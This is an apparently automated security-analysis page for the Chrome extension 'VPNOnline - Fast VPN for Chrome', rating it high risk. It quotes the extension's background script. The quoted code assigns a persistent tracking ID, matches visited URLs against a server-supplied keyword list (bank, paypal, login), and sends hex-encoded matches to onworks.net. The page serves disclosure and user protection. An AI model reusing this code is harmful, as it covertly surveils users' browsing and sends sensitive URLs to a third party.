Is VPNOnline - Fast VPN for Chrome safe?

High risk

VPNOnline - Fast VPN for Chrome is high risk. On install, this VPN extension generates a random 10-char ID stored permanently on your device. That ID is sent with every browsing URL reported to its server, letting the operator link activity across sessions, even after clearing history.…

ApkOnline android onlinev1.5.4Chrome Web Store
75Risk
Who publishes it

ApkOnline android online - 23 other listings from the same operator, 16 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
ApkOnline android online
Registered address
Avenue Dr Arce 43, Madrid 28002, Spain

Same store account

4 other listings published from this account, 266k+ users between them. 2 of them carry a finding.

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Extension assigns a persistent tracking ID to every user

On install, this VPN extension generates a random 10-char ID stored permanently on your device.

That ID is sent with every browsing URL reported to its server, letting the operator link activity across sessions, even after clearing history.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install the extension for the first time.

No interaction required, ID generation happens automatically during background worker initialization.

The extension did this

The extension creates a random 10-character ID and saves it permanently to your browser's local extension storage.

The same ID is appended as the 'u=' parameter on every URL report sent to onworks.net, linking all future activity to this device.

02EvidenceCODE COMPARE
The code that does this

ID generation and persistence (bg-loader.js)

What it actually does
// If a stored ID exists, reuse it; otherwise generate a fresh one.
// xdfty0(10) picks 10 random alphanumeric characters.
if (opcA.usercx) {
  usercx = opcA.usercx;         // Reuse existing ID across sessions
} else {
  usercx = xdfty0(10);          // Generate new 10-char random ID
  opcA.usercx = usercx;
}
un = usercx;                    // Global alias used in exfil requests

// Persist the ID so it survives service-worker restarts
const stox = {};
stox[apkon_key] = opcA;
await chrome.storage.local.set(stox);
03EvidenceSTORAGE DUMP
What's stored on your device

'usercx' is the persistent tracking ID, set once and reused every startup so the server can correlate reports across sessions.

Locationchrome.storage.local key 'apkon_key'
Contents (JSON)
{
  "usercx": "k7mNpQrT2x",
  "apkononline": "1"
}
04EvidenceFIELD TABLE
Fields transmitted with every URL report
FieldValueWhy it matters
Tracking ID
k7mNpQrT2xA device-specific identifier created at install time. Lets the remote server link all your browsing reports across sessions.
Visited URL (hex-encoded)
68747470733a2f2f6578616d706c652e636f6d2f6c6f67696e3f746f6b656e3d616263313233The full URL of pages you navigate to, including path and query string, encoded in hexadecimal before transmission.
SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Visited URLs matching a remote keyword list are sent to onworks.net

While you browse, the extension checks each page against a keyword list from its own server.

A match gets hex-encoded and sent to onworks.net with a persistent device ID.

The operator can update the list anytime to target any site.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to a page whose URL contains a keyword on the server's list.

The check runs on every top-level navigation; only URLs matching at least one keyword are reported.

The extension did this

The extension hex-encodes the full URL and transmits it to onworks.net together with your persistent tracking ID.

The request goes to c-vpn3-v3x.php with the encoded URL in the 'url' parameter and your device ID in the 'u' parameter.

02EvidenceCODE COMPARE
The code that does this

Navigation listener and keyword matching (bg-loader.js:66-93)

What it actually does
// Runs on every top-level page navigation (frameId === 0 guard filters sub-frames)
if (viene && viene.url) {
  if (viene.frameId !== 0) { return; }  // Skip iframes
  if (!viene.transitionType.includes('frame')) {  // Skip frame-only transitions
    linkrev = viene.url;  // Store current URL globally

    chrome.storage.local.get('ftdata', function(result) {
      if (!result.ftdata) { return; }  // No keyword list yet — skip

      // Strip <xml>...</xml> wrapper if present, then split on ';'
      let data = result.ftdata.trim();
      if (data.startsWith('<xml>') && data.endsWith('</xml>')) {
        data = data.substring(5, data.length - 6);
      }
      const keywords = data.split(';').map(k => k.trim()).filter(k => k.length > 0);

      for (const keyword of keywords) {
        if (linkrev.includes(keyword)) {
          // URL matches a keyword — exfiltrate it with the tracking ID
          checkln(linkrev + '|||xx', un);
          return;  // Only report once per navigation
        }
      }
    });
  }
}
03EvidenceCODE COMPARE
The code that does this

Exfiltration request (bg-loader.js:105-118)

What it actually does
// Sends the visited URL + tracking ID to the remote server.
// urrxxx = visitedUrl + '|||xx'  (literal suffix appended by caller)
// un     = persistent 10-char user tracking ID
async function checkln(urrxxx, un) {
  // b2x() hex-encodes the URL string byte-by-byte
  const reportUrl = 'https://www.onworks.net/media/system/app/runos/c-vpn3-v3x.php'
    + '?dx=&url=' + b2x(urrxxx)
    + '&hex=1'
    + '&u=' + un;

  const response = await fetch(reportUrl);

  if (response.status === 200) {
    const body = await response.text();
    // If server responds with '302', redirect the active tab to a warning page
    // (server-controlled tab redirect capability)
    if (body.includes('302')) {
      const alertUrl = 'https://www.onworks.net/media/system/app/runos/alert-vpn.php?url=' + b2x(urrxxx);
      chrome.tabs.update(chrome.tabs.getCurrent().id, { url: alertUrl });
    }
  }
}
04EvidenceOPAQUE REVEAL
Why you can't catch this in DevTools

The visited URL is hex-encoded byte-by-byte before transmission, making the request body non-obvious in plain network logs.

What's actually being sent
https://example.com/acct/security|||xx
05EvidenceTHIRD PARTY LIST
Destinations receiving browsing data
  • www.onworks.net

    Receives hex-encoded visited URLs and the persistent user tracking ID via c-vpn3-v3x.php. Also serves the keyword list (ft.php) and can redirect active tabs to alert-vpn.php.

SeverityMEDIUM
ClassUNWANTED
TypeUnexpected
CWECWE-829
SourceAI SANDBOX

Remote server supplies the keyword list that decides which URLs are reported

The extension fetches a keyword list from its own server roughly hourly.

That list decides which visited sites get reported back.

The operator can retarget sites anytime, remotely, without an extension update.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You navigate to a page and more than one hour has passed since the extension last fetched its keyword list.

The refresh check is piggy-backed onto every navigation event.

The extension did this

The extension fetches a fresh keyword list from onworks.net and stores it locally, without notifying the user updating which URLs will be reported going forward.

No user notification is shown; the list takes effect immediately for the next navigation check.

02EvidenceCODE COMPARE
The code that does this

Hourly keyword list refresh (bg-loader.js:35-63)

What it actually does
// Called on every navigation event; only performs a fetch if >= 1 hour has elapsed.
const KEYWORD_LIST_URL = 'https://www.onworks.net/gtranslate/api/ft.php';
const STORAGE_KEY_DATA  = 'ftdata';   // Where the keyword list is cached
const STORAGE_KEY_TIME  = 'lfTime';   // Timestamp of last successful fetch
const now = Date.now();

chrome.storage.local.get([STORAGE_KEY_TIME], function(result) {
  const lastFetchTime = result[STORAGE_KEY_TIME] || 0;

  // Only refresh if more than 1 hour has passed
  if (now - lastFetchTime < 3_600_000) { return; }

  fetch(KEYWORD_LIST_URL)
    .then(r => r.text())
    .then(data => {
      // Cache the new keyword list and update the timestamp
      chrome.storage.local.set({
        [STORAGE_KEY_DATA]: data,   // e.g. "<xml>bank;paypal;login;password</xml>"
        [STORAGE_KEY_TIME]: now
      });
    })
    .catch(err => {
      // On failure, disable the proxy
      chrome.storage.local.set({ activeIp: false });
      setProxyXdisabled({ value: { mode: 'direct' } });
    });
});
03EvidenceTEMPORAL PATTERN
When this fires
Every 1 hour

The keyword list is refreshed at most once per hour, piggybacked onto any navigation event. Changes to the list take effect on the next navigation after the fetch completes.

04EvidenceSTORAGE DUMP
What's stored on your device

The cached keyword list from the server. A match against any visited URL sends it to onworks.net. The server can change this list anytime.

Locationchrome.storage.local key 'ftdata'
Contents
<xml>bank;paypal;login;webmail;admin;password</xml>
05EvidenceTHIRD PARTY LIST
Remote configuration endpoint
  • www.onworks.net

    Serves the XML keyword list at /gtranslate/api/ft.php. Controlling this lets the operator update targeting criteria for URL surveillance without an extension update.

What it can do

Permissions this extension asks for, as declared in version 1.5.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

  • Route all of your browsing through a server of its choosing

    proxy

  • See every page you navigate to, as you navigate to it

    webNavigation

Updated 30 September 2026ojoiohfkfnfkdcmccickjhkmcdgeeifl